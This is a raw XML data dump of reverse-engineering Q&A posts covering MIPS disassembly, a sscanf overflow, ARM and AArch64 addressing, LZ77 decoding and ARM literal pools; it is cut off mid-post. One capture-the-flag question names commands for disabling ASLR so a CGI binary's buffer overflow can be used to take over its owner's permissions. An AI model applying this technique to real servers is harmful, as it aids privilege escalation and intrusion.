'\'&#xA;ROM:80056AFC                 jal     sub_800C3AD4&#xA;ROM:80056B00                 sw      $v0, 0x30+var_20($sp)&#xA;ROM:80056B04                 jal     sub_80056BEC&#xA;ROM:80056B08                 nop&#xA;ROM:80056B0C                 jal     sub_8005BF54&#xA;ROM:80056B10                 nop&#xA;ROM:80056B14                 jal     sub_80056634&#xA;ROM:80056B18                 nop&#xA;ROM:80056B1C                 jal     sub_80056910&#xA;ROM:80056B20                 nop&#xA;ROM:80056B24                 jal     sub_8005B52C&#xA;ROM:80056B28                 nop&#xA;ROM:80056B2C                 jal     sub_8005A714&#xA;ROM:80056B30                 nop&#xA;ROM:80056B34                 lui     $a1, 0x8002&#xA;ROM:80056B38                 addiu   $a0, $s0, -0x12CC&#xA;ROM:80056B3C                 addiu   $a2, $s1, -0x12A8&#xA;ROM:80056B40                 addiu   $a3, $s2, 0x6BE4&#xA;ROM:80056B44                 la      $a1, aSSDKernelStart  # &quot;%s::%s():%d: (kernel startup)\r\n&quot;&#xA;ROM:80056B48                 li      $v0, 0x68  # 'h'&#xA;ROM:80056B4C                 jal     sub_800C3AD4&#xA;ROM:80056B50                 sw      $v0, 0x30+var_20($sp)&#xA;ROM:80056B54                 jal     sub_8005BF74&#xA;ROM:80056B58                 nop&#xA;ROM:80056B5C                 lui     $a1, 0x8002&#xA;ROM:80056B60                 addiu   $a0, $s0, -0x12CC&#xA;ROM:80056B64                 addiu   $a2, $s1, -0x12A8&#xA;ROM:80056B68                 addiu   $a3, $s2, 0x6BE4&#xA;ROM:80056B6C                 li      $v0, 0x6C  # 'l'&#xA;ROM:80056B70                 la      $a1, aSSD_mainEnd  # &quot;%s::%s():%d: (_main end)\r\n&quot;&#xA;ROM:80056B74                 jal     sub_800C3AD4&#xA;ROM:80056B78                 sw      $v0, 0x30+var_20($sp)&#xA;ROM:80056B7C                 jal     sub_800D2E64&#xA;ROM:80056B80                 nop&#xA;ROM:80056B84                 move    $sp, $fp&#xA;ROM:80056B88                 lw      $ra, 0x30+var_4($sp)&#xA;ROM:80056B8C                 lw      $fp, 0x30+var_8($sp)&#xA;ROM:80056B90                 lw      $s3, 0x30+var_C($sp)&#xA;ROM:80056B94                 lw      $s2, 0x30+var_10($sp)&#xA;ROM:80056B98                 lw      $s1, 0x30+var_14($sp)&#xA;ROM:80056B9C                 lw      $s0, 0x30+var_18($sp)&#xA;ROM:80056BA0                 jr      $ra&#xA;ROM:80056BA4                 addiu   $sp, 0x30&#xA;ROM:80056BA4  # End of function sub_8005696C&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-05-08T08:43:36.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15322" PostTypeId="2" ParentId="15287" CreationDate="2017-05-09T14:05:18.823" Score="3" Body="&lt;p&gt;The reason for your observation is an overflow in the sscanf call that is done in the function checking if the number is even or odd.&#xA;While the check for your 9-character password succeeds the 10-character password produces an overflow and the check fails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To verify, compile and run the following C code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;&#xA;&#xA;int main ( ) &#xA;{&#xA;    int number;&#xA;&#xA;    sscanf ( &quot;222222222&quot;, &quot;%d&quot;, &amp;amp;number );&#xA;    printf ( &quot;Number (9 digits): %d\n&quot;, number ); &#xA;&#xA;    sscanf ( &quot;2222222222&quot;, &quot;%d&quot;, &amp;amp;number );&#xA;    printf ( &quot;Number (10 digits): %d\n&quot;, number );&#xA;&#xA;    if ( number &amp;amp; 0x01 == 0 ) {&#xA;        printf ( &quot;Even!\n&quot; );&#xA;    }&#xA;    else {&#xA;        printf ( &quot;Odd!\n&quot; );&#xA;    }&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18718" LastActivityDate="2017-05-09T14:05:18.823" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15323" PostTypeId="2" ParentId="8989" CreationDate="2017-05-09T18:27:27.937" Score="1" Body="&lt;p&gt;The condition codes displayed after the instructions is a convenience feature of the disassembler (deduced from the preceding &lt;code&gt;IT&lt;/code&gt; instruction), the individual Thumb-2 instructions &lt;em&gt;do not encode the condition codes&lt;/em&gt;. Adding condition codes even if they're not encoded is also the practice &lt;a href=&quot;https://stackoverflow.com/a/20899475/422797&quot;&gt;recommended by ARM&lt;/a&gt; when writing &lt;a href=&quot;http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0473c/BABJIHGJ.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;UAL assembly&lt;/a&gt;. This serves two purposes:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The assembler can check that the &lt;code&gt;IT&lt;/code&gt; instruction matches the following conditional-suffixed instructions (e.g. all &lt;code&gt;T&lt;/code&gt; instructions use the same condition as &lt;code&gt;IT&lt;/code&gt; itself and all &lt;code&gt;E&lt;/code&gt; ones use the opposite one),and no conditional instructions appear outside of the &lt;code&gt;IT&lt;/code&gt; range.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The same assembly can be used when assembling for ARM mode - the IT instruction is ignored  (or hidden by an &lt;code&gt;ifdef&lt;/code&gt;) and conditional instructions are assembled as regular conditional ARM instructions.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="60" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.117" LastActivityDate="2017-05-09T18:27:27.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15324" PostTypeId="2" ParentId="14385" CreationDate="2017-05-09T19:21:00.810" Score="17" Body="&lt;p&gt;in AArch64, all instructions are 32-bit long. Obviously, this is not enough to encode 64-bit addresses which AArch64 may need to process. So there's two options:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;use 64-bit pointers placed in the constant pool near the instruction and load them with the  &lt;code&gt;LDR&lt;/code&gt; instruction. This is doable but such pointers need to be updated (relocated) if the image is loaded at a non-default address. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use PC-relative addressing to load addresses at a fixed offset from the current location (PIC code). This is the more common approach but the offset is still limited by the instruction size. So ARM designers came up with a clever hack: use two instructions to allow for a much wider range. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The ADRP instruction loads the address of the 4KB &lt;em&gt;page&lt;/em&gt; anywhere in the +/-4GB (33 bits) range of the current instruction (which takes 21 high bits of the offset). this is denoted by the &lt;code&gt;@PAGE&lt;/code&gt; operator. &#xA;then, we can either use &lt;code&gt;LDR&lt;/code&gt; or &lt;code&gt;STR&lt;/code&gt; to read or write any address inside that page or &lt;code&gt;ADD&lt;/code&gt; to to calculate the final address using the remaining 12 bits of the offset (denoted by&lt;code&gt;@PAGEOFF&lt;/code&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically you can consider those instruction pairs as if the last one directly accesses the final address of the location before the &lt;code&gt;@&lt;/code&gt; and you can ignore the suffixes if you don't plan to reassemble the file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also &lt;a href=&quot;https://stackoverflow.com/questions/34003338/llvm-arm64-assembly-getting-a-symbol-label-address&quot;&gt;https://stackoverflow.com/questions/34003338/llvm-arm64-assembly-getting-a-symbol-label-address&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2017-05-09T19:21:00.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15325" PostTypeId="1" CreationDate="2017-05-10T23:43:47.390" Score="0" ViewCount="2549" Body="&lt;p&gt;I making a game and I'm trying to find a way to prevent against function hooking (IAT/VMT/etc), or at the least detect it, I understand how they work but dont see a very reliable way to detect or prevent them. Does anyone have any ideas on how to do this? it would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="20137" LastActivityDate="2017-05-14T05:25:31.400" Title="Ways to detect Function hooking?" Tags="|function-hooking|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15326" PostTypeId="1" CreationDate="2017-05-11T14:36:48.973" Score="2" ViewCount="984" Body="&lt;p&gt;I got the following raw data, which are the first 35 bytes of a compressed png image:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00 89 50 4e 47 0d 0a 1a 0a 00 00 00 00 0d 49 48&#xA;44 52 08 00 00 02 58 00 83 5a 08 06 80 00 83 64&#xA;31 28 fe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also happened to have the 33 bytes the above 35 bytes were before they were compressed&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52&#xA;00 00 02 58 00 00 00 5a 08 06 00 00 00 64 31 28&#xA;fe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm staring on those bytes for days now and can't figure our the compression algorithm... it looks like some kind of lz77 or Sliding Window Compression.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be much appreciated with this problem&lt;/p&gt;&#xA;" OwnerDisplayName="user20145" LastEditorDisplayName="user20145" LastEditDate="2017-05-12T13:42:31.413" LastActivityDate="2017-06-27T00:37:09.163" Title="Trying to figure what kind of compression was used" Tags="|decompress|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15327" PostTypeId="1" CreationDate="2017-05-11T15:11:13.187" Score="1" ViewCount="32" Body="&lt;p&gt;This was part of a challenge which is now ended.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On that server, when the cgi application was called remotely, apache executed it with the permissions of the owner of that binary. So the goal was to abuse those rights with buffer overflow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The application had all kinds of protections and in order to execute arbitrary code you had to definitely remove ASLR. The server was old btw so both &quot;ulimit -s unlimited&quot; and &quot;setarch &lt;code&gt;uname -m&lt;/code&gt; -R /path/app&quot; would have effectively achieve the aslr removal. Now where i was stacked was to execute locally the application with the permissions of the owner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the application didn't have the suid, so apache had to change the euid somehow right?&#xA;Is it possible to get that behavior locally?&#xA;I had btw shell access to the server with the apache user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;I just thought that i could create a different directory and add a symlink to the target binary, create the .htaccess (with +ExecCGI) and set the &quot;ulimit -s unlimited&quot; on that session. I am not sure if it would have worked though&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="20147" LastEditorUserId="20147" LastEditDate="2017-05-11T15:50:14.867" LastActivityDate="2017-05-11T15:50:14.867" Title="Possible to execute cgi application locally and preserve the permissions?" Tags="|buffer-overflow|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15328" PostTypeId="2" ParentId="15326" CreationDate="2017-05-11T19:52:56.903" Score="3" Body="&lt;p&gt;It does indeed appear to be an LZ77 variant where 8 encoded/not-encoded flags are combined into a single flag byte.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The compressed data is then grouped into 8 data 'units' where each unit is represented either by a single uncompressed byte or by a 2 byte dictionary entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The data for a batch of 8 units is preceded by the flag byte where each of its 8 bits indicates whether each unit is an uncompressed byte or a dictionary entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's not enough data here to be 100% sure about the encoding of the dictionary entries or what any window is because there are only 2 (identical) dictionary entries in your example data.  However, it appears likely that the 2 byte entry is made up of a 12 bit offset and a 4 bit length referring back to previously decompressed data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the case of your compressed data, the decompression proceeds as follows -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;compressed                  decompressed&#xA;flags         data          offset  data            &#xA;00                                                  &#xA;    0=&amp;gt;raw    89      -&amp;gt;    0000:   89              &#xA;    0=&amp;gt;raw    50      -&amp;gt;    0001:   50              &#xA;    0=&amp;gt;raw    4e      -&amp;gt;    0002:   4e              &#xA;    0=&amp;gt;raw    47      -&amp;gt;    0003:   47              &#xA;    0=&amp;gt;raw    0d      -&amp;gt;    0004:   0d              &#xA;    0=&amp;gt;raw    0a      -&amp;gt;    0005:   0a              &#xA;    0=&amp;gt;raw    1a      -&amp;gt;    0006:   1a              &#xA;    0=&amp;gt;raw    0a      -&amp;gt;    0007:   0a              &#xA;00                                                  &#xA;    0=&amp;gt;raw    00      -&amp;gt;    0008:   00              &#xA;    0=&amp;gt;raw    00      -&amp;gt;    0009:   00              &#xA;    0=&amp;gt;raw    00      -&amp;gt;    000A:   00              &#xA;    0=&amp;gt;raw    0d      -&amp;gt;    000B:   0d              &#xA;    0=&amp;gt;raw    49      -&amp;gt;    000C:   49              &#xA;    0=&amp;gt;raw    48      -&amp;gt;    000D:   48              &#xA;    0=&amp;gt;raw    44      -&amp;gt;    000E:   44              &#xA;    0=&amp;gt;raw    52      -&amp;gt;    000F:   52              &#xA;08                                                  &#xA;    0=&amp;gt;raw    00      -&amp;gt;    0010:   00              &#xA;    0=&amp;gt;raw    00      -&amp;gt;    0011:   00              &#xA;    0=&amp;gt;raw    02      -&amp;gt;    0012:   02              &#xA;    0=&amp;gt;raw    58      -&amp;gt;    0013:   58              &#xA;    1=&amp;gt;dict   00 83   -&amp;gt;    0014:   00 00 00    // copy of 3 bytes from offset 8    &#xA;    0=&amp;gt;raw    5A      -&amp;gt;    0017:   5A              &#xA;    0=&amp;gt;raw    08      -&amp;gt;    0018:   08              &#xA;    0=&amp;gt;raw    06      -&amp;gt;    0019:   06              &#xA;80                                                  &#xA;    1=&amp;gt;dict   00 83   -&amp;gt;    001A:   00 00 00    // copy of 3 bytes from offset 8        &#xA;    0=&amp;gt;raw    64      -&amp;gt;    001D:   64              &#xA;    0=&amp;gt;raw    31      -&amp;gt;    001E:   31              &#xA;    0=&amp;gt;raw    28      -&amp;gt;    001F:   28              &#xA;    0=&amp;gt;raw    fe      -&amp;gt;    0020:   fe              &#xA;    0=&amp;gt;raw    ...     -&amp;gt;    0021:   ...&#xA;    0=&amp;gt;raw    ...     -&amp;gt;    0022:   ...                 &#xA;    0=&amp;gt;raw    ...     -&amp;gt;    0023:   ...          &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4731" LastActivityDate="2017-05-11T19:52:56.903" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15329" PostTypeId="1" AcceptedAnswerId="15338" CreationDate="2017-05-12T00:06:17.447" Score="4" ViewCount="713" Body="&lt;h2&gt;Context and Background Information&lt;/h2&gt;&#xA;&lt;h3&gt;Part 1: ARM firmware compared to firmware for other architectures&lt;/h3&gt;&#xA;&lt;p&gt;I looked at the ARM firmware in these two questions:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/15311/running-a-binary-identified-as-an-arm-excutable-by-binwalk-disasm&quot;&gt;Running a binary identified as an ARM excutable by binwalk --disasm&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/15006/approach-to-extract-useful-information-from-binary-file&quot;&gt;Approach to extract useful information from binary file&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;and was baffled by the mixture of code with data, since I have looked at firmware for other architectures such as Ubicom, MIPSEL and MIPS and did not observe the same kind of intermingling of code and data as in the ARM firmware.&lt;/p&gt;&#xA;&lt;p&gt;Here are some visualizations of various binaries for context:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MIPSEL eCos firmware from &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/11503/analysing-ecos-image&quot;&gt;Analysing eCos image&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Dlff0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Dlff0.png&quot; alt=&quot;eCos firmware entropy plot (cropped)&quot; /&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/n6Xzd.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/n6Xzd.png&quot; alt=&quot;entropy visualization&quot; /&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/gMiSM.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gMiSM.png&quot; alt=&quot;detail visualization&quot; /&gt;&lt;/a&gt;&#xA;&lt;code&gt;&amp;lt;------------------------ code -------------------------&amp;gt;&amp;lt;---- images, ASCII----&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Unknown instruction set, uC/OS firmware from &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/15088/lzma-file-format-not-recognized-details-enclosed&quot;&gt;lzma: File format not recognized [Details enclosed]&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/m0WT7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/m0WT7.png&quot; alt=&quot;CleverDOg camera firmware entropy plot (cropped)&quot; /&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Yjb2j.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Yjb2j.png&quot; alt=&quot;entropy visualization&quot; /&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/KgENq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KgENq.png&quot; alt=&quot;detail visualization&quot; /&gt;&lt;/a&gt;&#xA;&lt;code&gt;&amp;lt;-------------------------- code??? ------------------------&amp;gt;&amp;lt;-- ASCII --&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Ubicom32 SlingBox firmware from &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/12292/need-help-extracting-yaffs-from-firmware-bin-file&quot;&gt;Need help extracting YAFFS from firmware .bin file&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/D7rQb.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/D7rQb.png&quot; alt=&quot;SlingBox firmware entropy plot (cropped)&quot; /&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/336Pa.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/336Pa.png&quot; alt=&quot;entropy visualization&quot; /&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/GMWhe.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GMWhe.png&quot; alt=&quot;detail visualization&quot; /&gt;&lt;/a&gt;&#xA;&lt;code&gt;&amp;lt;--------------------------- code -----------------------&amp;gt;     &amp;lt;- data -&amp;gt;&amp;lt; code &amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;A pattern appears to emerge, no? The executable code in the firmware images presented here is not so difficult to differentiate from data because it largely resides in 1 or 2 large, contiguous blocks.&lt;/p&gt;&#xA;&lt;p&gt;However, things are not so straightforward with the ARM firmware:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;32-bit ARM firmware from &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/15311/running-a-binary-identified-as-an-arm-excutable-by-binwalk-disasm&quot;&gt;Running a binary identified as an ARM excutable by binwalk --disasm&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/CiwZz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CiwZz.png&quot; alt=&quot;firmware entropy plot (cropped)&quot; /&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/nJTOO.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nJTOO.png&quot; alt=&quot;entropy visualization&quot; /&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/n8fj4.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/n8fj4.png&quot; alt=&quot;detail visualization&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Where is the code? Where is the data? There is no easily discernible separation like in the other firmware binaries.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Thumb-2 (16-bit + 32-bit) ARM firmware from &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/15006/approach-to-extract-useful-information-from-binary-file&quot;&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Dz1Bi.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Dz1Bi.png&quot; alt=&quot;e-cig entropy plot (cropped)&quot; /&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/REAp4.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/REAp4.png&quot; alt=&quot;entropy visualization&quot; /&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/eO646.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eO646.png&quot; alt=&quot;detail visualization&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The situation is similar here.&lt;/p&gt;&#xA;&lt;p&gt;When the visualizations are juxtaposed, the differences become very obvious:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WnQDD.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WnQDD.png&quot; alt=&quot;MIPSEL, eCos&quot; /&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/xmVsy.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xmVsy.png&quot; alt=&quot;unknown&quot; /&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/4IkNZ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4IkNZ.png&quot; alt=&quot;Ubicom32, SlingBox&quot; /&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/dWmBO.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dWmBO.png&quot; alt=&quot;ARM 32-bit, Panasonic picture frame&quot; /&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/jLknH.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jLknH.png&quot; alt=&quot;ARM Thumb-2, SMOK CUBE thing&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The non-ARM firmware binaries in this sample have fairly clear code and data separation, which is helpful if we want to disassemble the code. However, identification of code and data looks to be quite  problematic in the case of the ARM firmware binaries.&lt;/p&gt;&#xA;&lt;h3&gt;Part 2: ARM Literal Pools&lt;/h3&gt;&#xA;&lt;p&gt;So why do the ARM firmware binaries look so different from the others? Why is there no clearly discernible separation of code and data? The answer seems to involve ARM literal pools.&lt;/p&gt;&#xA;&lt;p&gt;I'm including information about ARM literal pools here because it seems relevant and because it took forever for me to find out about them on my own, so hopefully this saves others some time.&lt;/p&gt;&#xA;&lt;p&gt;According to &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/15311/running-a-binary-identified-as-an-arm-excutable-by-binwalk-disasm/15317#15317&quot;&gt;Ian Cook&lt;/a&gt; (emphasis mine),&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;...mixing of code and data is actually very common with ARM code.&lt;/p&gt;&#xA;&lt;p&gt;ARM instructions are fixed sizes (4 bytes on ARM, 2 bytes for THUMB) and have insufficient space to encode an 32 bit immediate value. Instead, ARM compilers usually do two things -&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;they place 32 bit immediate constants straight after the instructions for the function&lt;/strong&gt; in which the constants are needed, and&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;they use PC-relative load instructions in the function to put these constants into registers.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;This is similar to the information I found in the article &lt;a href=&quot;http://benno.id.au/blog/2009/01/02/literal-pools&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;The trouble with literal pools&lt;/strong&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;So, what is a literal pool? I’m glad you asked. The literal pool is an area of memory (in the text segment), which is used to store constants. These constants could be plain numerical constants, but their main use is to store the address of variables in the system. These addresses are needed because the ARM instruction does not have any instructions for directly loading (or storing) an address in memory. Instead ldr and str can only store at a ±12-bit offset from a register. Now there are lots of ways you could generate code with this restriction, for example, you could ensure your data section is less than 8KiB in size, and reserve a register to be used as a base for all data lookups. But such approach only works if you have a limited data section size. The standard approach that is taken is that when a variable is used its address is written out into a literal pool. The compiler then generates two instructions, first to read the address from this literal pool, and the second is the instruction to access the variable.&lt;/p&gt;&#xA;&lt;p&gt;So, how exactly does this literal pool work? Well, so that a special register is not needed to point at the literal pool, the compiler uses the program counter (PC) register as the base register. The generated codes looks something like: &lt;code&gt;ldr r3, [pc, #28]&lt;/code&gt;. That codes loads a value at a 28-byte offset from the current value of PC into the register r3. r3 then contains the address of the variable we want to access, and can be used like: &lt;code&gt;ldr r1, [r3, #0]&lt;/code&gt;, which loads the value of the variable (rather than the address) into r1. Now, as the PC is used as the base for the literal pool access, it should be clear that the literal pool is stored close enough to the code that needs to use it.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;To ensure that the literal pool is close enough to the code using it, the compiler stores a literal pool at the end of each function&lt;/strong&gt;. This approach works pretty well (unless you have a 4KiB+ function, which would be silly anyway), but can be a bit of a waste.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;However, in the &lt;a href=&quot;http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0473f/Bgbccbdi.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;ARM documentation for literal pools&lt;/a&gt;, it is stated that&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The assembler uses literal pools to hold certain constant values that are to be loaded into registers. &lt;strong&gt;The assembler places a literal pool at the end of each section&lt;/strong&gt;. The end of a section is defined either by the END directive at the end of the assembly or by the AREA directive at the start of the following section. The END directive at the end of an included file does not signal the end of a section.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I don't know jack about ARM, so this is confusing. I might make this a separate question. Anyway, the point is that literal pools appear to be the reason why code and data are mixed together in the ARM firmware visualized earlier. There is also something called &lt;a href=&quot;http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0474f/Cegbbcjj.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;scatterloading&lt;/a&gt;, but I don't know if this has anything to do with the problem described here.&lt;/p&gt;&#xA;&lt;h2&gt;Question&lt;/h2&gt;&#xA;&lt;p&gt;&lt;strong&gt;How can the problem posed for disassembly by the admixture of executable code and literal pools in ARM firmware be overcome?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;According to &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/15311/running-a-binary-identified-as-an-arm-excutable-by-binwalk-disasm/15317#15317&quot;&gt;Ian Cook (from the same answer as before)&lt;/a&gt; (emphasis mine),&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;It's usual to see the immediate constants stored after the function in order of the addresses of the functions that access them. So, in this case, the function ends with the instruction at 0x00000F5C and the immediate constants would appear to span the address range 0x00000F60 to 0x00000FFF and I would usually expect the following function to begin at address 0x00001000.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Knowing this it would be possible for a disassembler to identify this pattern and automatically skip the associated data.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Yes, how? I tried disassembling both the ARM 32-bit Panasonic picture frame firmware and the ARM Thumb-2 SMOK-X Cube contraption firmware with &lt;code&gt;radare2&lt;/code&gt; but it seemed like data was being disassembled along 